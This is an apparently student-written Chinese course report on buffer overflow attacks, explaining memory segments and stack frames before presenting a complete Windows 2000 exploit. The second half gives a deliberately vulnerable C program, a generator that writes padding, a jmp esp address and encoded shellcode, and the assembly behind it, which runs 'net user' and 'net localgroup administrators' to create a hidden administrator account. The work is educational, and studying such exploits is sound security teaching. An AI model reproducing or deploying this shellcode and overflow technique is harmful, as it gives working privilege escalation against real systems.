缓冲区溢出攻击

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

1.关于堆栈溢出和堆溢出
程序在内存中的存贮分段如下:
从低地址到高地址来看,依次分别是:Code,Data,BSS,Heap,Stack。
它们的功能依次是:
Code:存储汇编后程序指令,是只读的,该段不用来存储变量。有固定的大小
Data:用来存储全局和静态变量。Data段存储的是已经初始化的全局变量,字符串和其他变量
BSS:与Data段一样,不过BSS段用来存储未初始化的内容。它与data段都是可以改写的,但是他们也有固定的大小
Heap:用来存储程序的其它变量,可变,由存储器的低地址向高地址增长
Stack:用作中间结果暂存来存储断点信息。用来存储函数调用间的传递变量。先进后出,大小可变,由存储器的高地址向低地址增长

堆(heap):是应用程序动态分配的内存区,在这里,“有应用程序”来分配是值得特别注意的,因为在操作系统中,大部分的内存区实际上是由操作系统来管理的,而Heap段则是有应用程序来分配的,它在编译的时候被初始化,也就是预先分配了内存空间,一个进程可以有多个堆,每个进程都有一个默认的堆。它用来存储程序的其它变量,其大小是可变的。Heap的所有存储单元有分配器和回收算发器所管理。分配器在堆中预留出一部分存储区域,而回收器用来取消预留的存储区,使该区域可以被下一次使用。堆的增大和缩小取决于预留使用的存储区的大小。堆从存储区的低地址向高地址增长。C程序通常用malloc和free分配和回收堆内存,在C++中,使用new和delete。VC中可以使用自带的堆管理函数。
堆栈:由编译器自动分配释放,存放函数的参数值,局部变量的值等,当主程序中调用函数时,函数将有它自己的变量,而此时程序的运行环境和EIP都要改变,堆栈就是用来存储被传递的变量,以及函数执行后EIP应该返回的地址。
从堆栈和堆的功能来看,堆主要是用来存储对象的,象个储物堆场;堆栈主要是用来执行程序的。
2.溢出的基本原理
从存储分配的角度看,缓冲区就是一段连续分配的内存空间。在高级语言(如C/ C ++ 、Pascal 等) 的函数调用中,缓冲区往往是在堆栈上进行分配。堆栈是一个后进先出的队列。它的生长方向与内存的生长方向正好相反(见图)
堆栈顶部-> ╭═══════════╮<-内存高端
║ 局部变量空间 ║
║-------------------------║
║ EBP ║
║-------------------------║
║ 返回地址RET ║
║-------------------------║
║ 参数空间 ║
堆栈底部-> ╰═══════════╯<-内存低端


因此堆栈中旧值的存储地址反而比新值的要大。这点很重要,可以说这是缓冲区溢出的基础。处理器

进行函数调用时,先将函数的参数,返回地址RET(即进行函数调用的那条指令的下一条指令的地址,也可以称为EIP或者JMP ESP) 及基址寄存器EBP 压入堆栈中,然后把当前的栈指针(ESP) 拷贝到EBP作为新的基地址。如果函数有局部变量,则函数会把堆栈指针ESP 减去某个值,为需要的动态局部变量腾出所需的内存空间,函数内使用的缓冲区往往就分配在腾出的这段内存空间上。函数返回时,弹出EBP 恢复堆栈到函数调用前的地址,弹出返回地址到EIP 以继续执行原程序。从上面的描述中我们可以看出,函数的返回地址和函数内部的局部变量一样放在堆栈中,并没有受到特殊的保护,只是普通程序不需要也不能直接访问到而已。但是由于一些没有边界检查的语言,比如C/ C ++ ,在执行缓冲区的一些操作时,比如拷贝操作,如果没有注意缓冲区的大小而往缓冲区内填充了大于缓冲区容量的数据,就会覆盖掉堆栈中的其它数据。如填充的数据够长,就会覆盖掉函数的返回地址。通常这种情况发生时,程序由于执行了不正常的指令,会出现非法操作而被系统中止。这时就发生了通常所说的缓冲区溢出。
所以,要产生缓冲区溢出,需要有几个条件:
1) 程序编译时在堆栈上分配了固定大小的缓冲区,并且在对缓冲区进行访问时没有提供边界检查。这条在C/ C ++语言中就满足,而对于有边界检查的语言,如Pascal 等,就没有这样的溢出问题。



2) 程序调用了没有进行边界检查的函数来访问(写操作) 缓冲区,这些函数没有对访问的缓冲区的大小进行判断。由于在C 语言中,字符串以0 字节来标识结尾,其中没有字符串的长度信息,所以几个没有判断字符串长度的字符串拷贝。
3. 溢出字符串的设计
作为一个字符串,不能包含0 字节是溢出字符串的最基本要求。0 字节是字符串的结尾标志,只能出现在溢出字符串的最后,否则0 字节以后的部分会被字符串处理函数给忽略掉。主要是shellcode 中可能会出现0 字节, 因此编写shellcode 时,需要过滤掉含0 字节的指令。又由于溢出字符串常作为输入数据,因此其中也不能包含回车和换行字符(0x0A 和0x0D) 。我们知道,Windows 系统的用户进程空间是0~2G,操作系统所占的为2 ~ 4G。事实上用户进程的加载位置在Windows98 上为0x00400000。因此用户进程的所有指令地址,数据地址和堆栈指针都会含有0 ,那么溢出字符串的返回地址就必然含有0。如此以来,返回地址处出现了0 字节,不符合溢出字符串的最基本要求。这个问题是Windows 系统特有的,在Unix 系统中不会出现。为解决这个问题, 并结合Windows 系统自身的特点,我们认为可以使用以下两种方法来设计溢出字符串:第一种方法是如同传统的Uni

x 系统上的直接返回的方式。但是由于0 字节的影响,返回地址在溢出字符串中只能有一个。由于返回地址的0 字节出现在最高位字节(如果其它字节处也出现了0 字节,则需要调整返回地址) ,并且Intel处理器的字节顺序是高位字节在内存的高端,因此我们可以用这个高位0 字节来充当字符串的结束标志。这种设计要求攻击时知道被攻击程序精确的溢出点(可根据试验攻击时系统给出的调试信息计算得出) 。采用这种方式设计溢出字符串时,shellcode 通常放在溢出字符串中的返回地址之前。第二种方法是先返回到系统核心DLL 文件中的一条JMPESP 指令处(即操作系统所占的2~4G地址空间处) ,通过执行这条指令来间接跳转执行shellcode。这条指令的具体地址需根据操作系统和所选用的DLL 文件来确定,因此这种设计方式对操作系统和DLL 文件有依赖。选用这种方式设计攻击时,需要事先确定被攻击系统的版本信息,如果是远程溢出攻击,可以通过端口扫描来获取所需的一些信息。采用这种方式设计溢出字符串时, shellcode 通常放在溢出字符串中的返回地址之后。比较上面的两种方法,各自的优缺点都是互相补充的。如果采用第一种方法来设计, shellcode 必须限制在缓冲区的空间内,因此有可能出现空间不够的情况。这是这种方式的缺点,其优点则是它可以不受被攻击系统等的版本的约束,溢出字符串及shellcode 较通用。如果采用第二种方法来设计,shellcode 可以不受缓冲区的限制,因此shellcode 可以设计得很长,功能很强。这是这种方式的优点,其缺点这是它有了依赖性,溢出字符串和shellcode 不够通用,需要针对具体的待攻击操作系统来修改溢出字符串。操作系统核心DLL 文件的升级也可能导致溢出字符串不能使用。在此次课程设计中,我们选择了第二种方案,一是因为平台是win2000资料丰富,二是因为我们可以通过程序来获得所需要的DLL中函数的地址,较为方便,三是因为win2000相对版本较低,容易溢出,如果选择xp,调试更为麻烦。
4. Shellcode 的设计
可以想象,当溢出攻击成功以后,黑客要利用权限做许多的事情,比如访问文件、擦除访问痕迹等。这么多的工作显然不能在短短的shellcode 里面全部完成,所以对于本地溢出攻击,我们希望shellcode 能通过系统调用执行一个命令解释程序,让我们在命令解释程序中来做这些操作,而对于远程溢出攻击,则需要在执行一个命令解释程序之外,还要将它的输入输出都重定向到一个网络端口上,以便攻击者能够通过网络控制被攻击的机器。为解决这个问题,可以采用匿名管道(Anonymous Pipe) 来完成。在Unix 上的命令解释程序是一个shell ,这也就是shellcode 这个名称的

由来。而在WindowsNT上,这个命令解释程序是cmd. exe ;在Windows 9x 系统上,则是command. com。Windows 系列系统上进行系统调用的方法也与Unix 系统不同,使用了系统核心DLL 文件提供的输出函数(API 函数)来进行系统调用,而不是Unix 系统上使用中断的方式。使用API 函数的方式要求知道待调用函数的入口地址,这个地址也会随着DLL 的不同和DLL 文件转载顺序的不同而改变。为提高shellcode 的通用性, 我们通过Import 表来调用LoadLibraryA( ) 、GetProcAddress ( ) 和ExitProcess ( ) 函数,而其它所需的函数的地址则通过调用LoadLibraryA() GetProcAddress() 来得到。这种设计在带来通用性的同时增加了shellcode 的长度,因为需要一段附加的代码和文件名及函数名信息来获取函数地址,这在需要调用多个DLL 文件中的多个函数时尤其明显。采用上面介绍的方法,我们实现了对一个自己编写的有漏洞的程序的攻击,并且模拟的是黑盒测试,即假设事先并不知道此程序有问题,然后通过溢出攻击此程序来获得系统权限。



二,写一个有漏洞的程序,然后利用漏洞编写shellcode使得系统溢出



1.有漏洞的程序如下:
#include
#include
FILE *fp; //读文件的指针
char a;
char *p;
int main()
{
char buffer[60]; //定义一个长度为60的字符数组
fp=fopen("bufferover.txt","r");
p=buffer;
while((a=fgetc(fp))!='\x00')
//注意此处不能写成while((a=fgetc(fp))!=EOF),因为文件结束符
//为0xFF,而我们对应的机器码中也包含0xFF,所以我们用0x00来
//判断文件的结束以防机器码被截断
{*p++=a;} //将文件的内容写入到buffer数组中去
fclose(fp);
return 0;
}
此程序的功能是读取bufferover.txt。因为定义了缓冲区大小,故存在漏洞。



2.针对此程序,编写生成bufferover.txt的程序如下:
#include
#include
char shellcode[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"//覆盖缓冲区的字符
"\x12\x45\xfa\x7f" //jmp esp的通用地址为7ffa4512
"\xEB" //shellcode:执行添加用户,并且提管理员权限的机器码
"\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xFD\x95\x95\x95\x95\xFD\xF1\x95\x95\x95\xFD\xB5\xBA\xF4\xF1\xFD\xA1\xF7\xFC"
"\xE1\xFD\xB5\xA7\xA5\xA5\xFD\xE0\xE6\xF0\xE7\xFD\xFB\xF0\xE1\xB5\xC1\x2D\x4B\xE1"
"\x7D\xE2\x6A\x45\xFD\x7D\x96\x95\x95\x2D\xDA\x37\x7D\xE2\x6A\x45\xFD\x95\x95\x95"
"\x95\xFD\xF1\xF1\x95\x95\xFD\xE1\xB5\xBA\xF4\xFD\xA5\xA1\xF7\xFC\xFD\xE6\xB5\xA7"
"\xA5\xFD\xF4\xE1\xFA\xE7\xFD\xFC\xE6\xE1\xE7\xFD\xF1\xF8\xFC\xFB\xFD\xE0\xE5\xB5"
"\xF4\xFD\xF9\xF2\xE7\xFA\xFD\xF9\xFA\xF6\xF4\xFD\xFB\xF0\xE1\xB5\xC1\x2D\x4B\xE1"
"\x7D\xE2\x6A\x45\xFD\x95\x95\x95\x95\x2D\x2B\xFC\x7D\xE2\x6A\x45\x95\xB5\x68\x61"
"\x63\x6B\xCD";
int main

()
{
FILE *fp1; //定义写文件的指针
int i,j; //通过i,j控制循环将shellcode写入文件中去
fp1=fopen("bufferover.txt","w"); //新建一个文件
if(fp1==NULL)
{
printf("Creat file failed!\n"); //文件操作失败
return 1;
}
j=strlen(shellcode); //获取shellcode的长度
for(i=0;i{
fputc(shellcode[i],fp1);
} //将shellcode写入文件中去
fputc(0x00,fp1); //在文件末尾添加ASCII为0的字符
fclose(fp1);
return 0;
}



3.shellcode如何编写的?
首先,使用汇编语言写出添加管理员的程序:
说明:winexec函数有两个参数,一个是执行语句,一个是运行模式,这里执行语句是net user 2004bit /add,运行模式是0.由于堆栈的结构关系,使用颠倒顺序。同理,sleep函数的参数这里设置的是1000
push 0 压参数0入栈
push dword ptr 0x00000064 d
push dword ptr 0x64612f20 /ad
push dword ptr 0x74696234 4bit
push dword ptr 0x30303220 200
push dword ptr 0x72657375 user
push dword ptr 0x2074656e net
push esp 压入esp
mov eax,0x77e874de 跳转winexec函数地址
call eax 调用函数执行
push 1000
由于添加用户和提管理员权限有先后顺序,所以得让程序sleep 1秒
mov eax,0x77e8a24f sleep函数地址
call eax
push 0
push dword ptr 0x00006464 dd
push dword ptr 0x612f2074 t /a
push dword ptr 0x69623430 04bi
push dword ptr 0x30322073 s 20
push dword ptr 0x726f7461 ator
push dword ptr 0x72747369 istr
push dword ptr 0x6e696d64 dmin
push dword ptr 0x61207075 up a
push dword ptr 0x6f72676c lgro
push dword ptr 0x61636f6c loca
push dword ptr 0x2074656e net
push esp
mov eax,0x77e874de
call eax
push 0
mov eax,0x77e869be 调用ExitProcess()退出
call eax
测试可用此程序:
#include

int main()
{
__asm{ }
return 0;
}
只要将汇编代码写入到括号中即可。



4.此shellcode汇编代码中的函数地址是如何提取的?
编写函数如下:
#include
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt");
printf("msvcrt LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x\n", ProcAdd);

LibHandle = LoadLibrary("kernel32");
printf("kernel32 LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WinExec");
printf("WinExec = //x%x\n", ProcAdd);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "Sleep");
printf("Sleep = //x%x\n", ProcAdd);
return 0;
}
得到结果如下:
msvcrt LibHandle = //x78000000
system = //x78018ebf
kernel32 LibHandle = //x77e60000
WinExec = //x77e874de 即为winexec()的地址
Sleep = //x77e8a24f 即为sleep()的地址
需要说明的是,本shellcode中得到了两个函数地址。当初选用这两个函数是因为现在的溢出程序

大多数都用到winexec来执行系统命令。当时我们使用了OllyDebug这个动态调试工具跟到windows.h中查找winexec与sleep,发现都是与kernel32.dll有关,所以决定采用windows.h这个头文件,调用的是kernel32.dll的动态链接库。


5.地址是如何覆盖的?
对于本程序,需要填充64个A,覆盖格式如下:
|------------|----------------|---------------|
64个A jmp esp地址 shellcode



6.如何将汇编代码转换成机器码?
利用ASM_2_ShellCode自动转换工具直接得到机器码



7.关于覆盖缓冲区的技巧
我们是假设不知道缓冲区大小的(实际为60字节)。解决的办法是:尝试不同的shellcode猜解。具体操作如下:先在overflow.txt中写入数字0000000000111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999,大概估计能够覆盖到即可。如果不能覆盖的话,可以利用无效数字盖前100个,这些数字只是覆盖那关键的100个。然后运行程序看反应。如果成功覆盖到的话,系统会提示出错,查看具体详情,可以看到offset的四位数值,必然是0123456789中的一位,这样就确定所在EIP位置的十位数字是多少。然后在把这100个位置在换成10个连续的0123456789,运行之后再看出错提示,必然会是0123456789中连续的四位。这样就确定了EIP位置的个位数字是多少。这样,也就得到了EIP的位置。
同时,选定jmp esp地址为2000,xp通用地址0x7ffa4512


8.关于shellcode必须加00的问题
发现shellcode最后必须加上0x00,开始我们是用UltraEdit添加的,后来在C程序里面用fputc添加了结束标志。



9.关于Sleep()函数的问题
由于本shellcode执行的是两步,第一步是添加2004bit的管理员,第二步是将此管理员提权。当我们实际测试的时候,有部分结果是只执行第一步,而第二步并没有执行的情况,即结果成功率不是100%。后来上网找资料得知,系统winexec()函数在运行时,连续执行两次中间必须有时间间隔,否则会产生后面一步可能执行不了的情况。所以最后我们在添加用户之后加入了sleep()函数,让系统“休眠”一秒中来达到时间间隔的效果。





5 附录:程序清单及说明
#include
#include
char shellcode[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\x12\x45\xfa\x7f"//jmp esp
"\xEB"
"\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xFD\x95\x95\x95\x95\xFD\xF1\x95\x95\x95\xFD\xB5\xBA\xF4\xF1\xFD\xA1\xF7\xFC"
"\xE1\xFD\xB5\xA7\xA5\xA5\xFD\xE0\xE6\xF0\xE7\xFD\xFB\xF0\xE1\xB5\xC1\x2D\x4B\xE1"
"\x7D\xE2\x6A\x45\xFD\x95\x95\x95\x95\xFD\xF1\xF1\x95\x95\xFD\xE1\xB5\xBA\xF4\xFD"
"\xA5\xA1\xF7\xFC\xFD\xE6\xB5\xA7\xA5\xFD\xF4\xE1\xFA\xE7\xFD\xFC\xE6\xE1\xE7\xFD"
"\xF1\xF8\x

FC\xFB\xFD\xE0\xE5\xB5\xF4\xFD\xF9\xF2\xE7\xFA\xFD\xF9\xFA\xF6\xF4\xFD"
"\xFB\xF0\xE1\xB5\xC1\x2D\x4B\xE1\x7D\xE2\x6A\x45\xFD\x95\x95\x95\x95\x2D\x2B\xFC"
"\x7D\xE2\x6A\x45\x95\xD6\x68\x61\x63\x6B\xCD";
FILE *fp1;
int i,j;
FILE *fp;
char a;
char *p;
int main()
{

char buffer[60];定义一个60字节的缓冲区
fp1=fopen("bufferover.txt","w");以写方式打开bufferover.txt
if(fp1==NULL)
{
printf("Creat file failed!\n");出错提示信息
return 1;
}
j=strlen(shellcode);
for(i=0;i{
fputc(shellcode[i],fp1);把shellcode的内容传给文件bufferover.txt
}
fputc(0x00,fp1);添加结束标志
fclose(fp1);关闭文件句柄
fp=fopen("bufferover.txt","r");以只读方式读取bufferover.txt
p=buffer;
while((a=fgetc(fp))!='\x00')把bufferover.txt中的shellcode写入缓冲区
{
*p++=a;
}
fclose(fp);关闭文件句柄
return 0;
}





push 0 压参数0入栈
push dword ptr 0x00000064 d
push dword ptr 0x64612f20 /ad
push dword ptr 0x74696234 4bit
push dword ptr 0x30303220 200
push dword ptr 0x72657375 user
push dword ptr 0x2074656e net
push esp 压入esp
mov eax,0x77e874de 跳转winexec函数地址
call eax 调用函数执行
push 0
push dword ptr 0x00006464 dd
push dword ptr 0x612f2074 t /a
push dword ptr 0x69623430 04bi
push dword ptr 0x30322073 s 20
push dword ptr 0x726f7461 ator
push dword ptr 0x72747369 istr
push dword ptr 0x6e696d64 dmin
push dword ptr 0x61207075 up a
push dword ptr 0x6f72676c lgro
push dword ptr 0x61636f6c loca
push dword ptr 0x2074656e net
push esp
mov eax,0x77e874de
call eax
push 0
mov eax,0x77e869be 调用ExitProcess()退出
call eax


其实缓冲区溢出的攻击一般是病毒攻击的第一步。比如爆发的蠕虫病毒等,先进行溢出攻击,获得系统权限之后再建立连接,将自身复制和传播,简单点可以想象成ftp上传下载。



相关文档
最新文档